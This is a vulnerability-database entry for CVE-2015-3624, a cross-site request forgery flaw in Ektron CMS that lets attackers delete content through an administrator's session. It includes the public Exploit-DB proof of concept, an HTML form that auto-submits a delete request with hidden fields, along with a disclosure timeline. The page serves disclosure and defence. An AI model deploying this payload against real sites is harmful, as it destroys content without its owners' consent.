CVE-2015-3624

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Published 2015-06-09 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.8

Description

Cross-site request forgery (CSRF) vulnerability in Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx in Ektron Content Management System (CMS) before 9.10 SP1 (Build 9.1.0.184.1.120) allows remote attackers to hijack the authentication of content administrators for requests that delete content via a delete action.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37296 webapps php text · 1 KB

Jerold Hoong · 2015-06-16

Ektron CMS 9.10 SP1 (Build 9.1.0.184.1.114) - Cross-Site Request Forgery

text exploit Source: Exploit-DB

# Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and
assets.

<html>
  <body>
    <form action="http://127.0.0.1/Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure

Application impact

Vendor	Product	Versions	Fixed
ektron	ektron_content_management_system	`{"endIncluding":"9.1"}`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.